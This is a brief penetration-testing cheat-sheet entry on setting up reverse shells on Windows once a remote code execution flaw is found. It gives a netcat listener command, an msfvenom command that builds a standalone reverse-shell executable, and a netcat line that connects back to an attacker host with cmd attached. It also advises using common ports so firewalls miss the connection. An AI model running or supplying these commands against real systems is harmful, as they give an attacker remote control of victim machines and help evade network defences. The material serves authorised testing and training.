Reverse Shell

Once an RCE-type vulnerability is detected, we are able to create a reverse shell. On windows, often the only option for various types of exploits is to use a single standalone executable file. Here you have some options for establishing reverse shell connection.

IMPORTANT: When establishing reverse shells, remember to use common ports, e.g. 53, 80, 443. Then there is less chance that the outgoing connection will be blocked by the firewall.

Generators:

• Revshells.com - shell generator

Listener on Linux:

rlwrap nc -lvnp $port

Standalone binary

# Generate standalone reverse shell binary using Msfvenom
msfvenom -p windows/x64/shell_reverse_tcp -f exe -o shell.exe LHOST=$lhost LPORT=$lport 
 
# Usage (Windows):
./shell.exe

Netcat

Netcat executable for Windows (link):

# Usage
nc.exe $lhost $lport -e cmd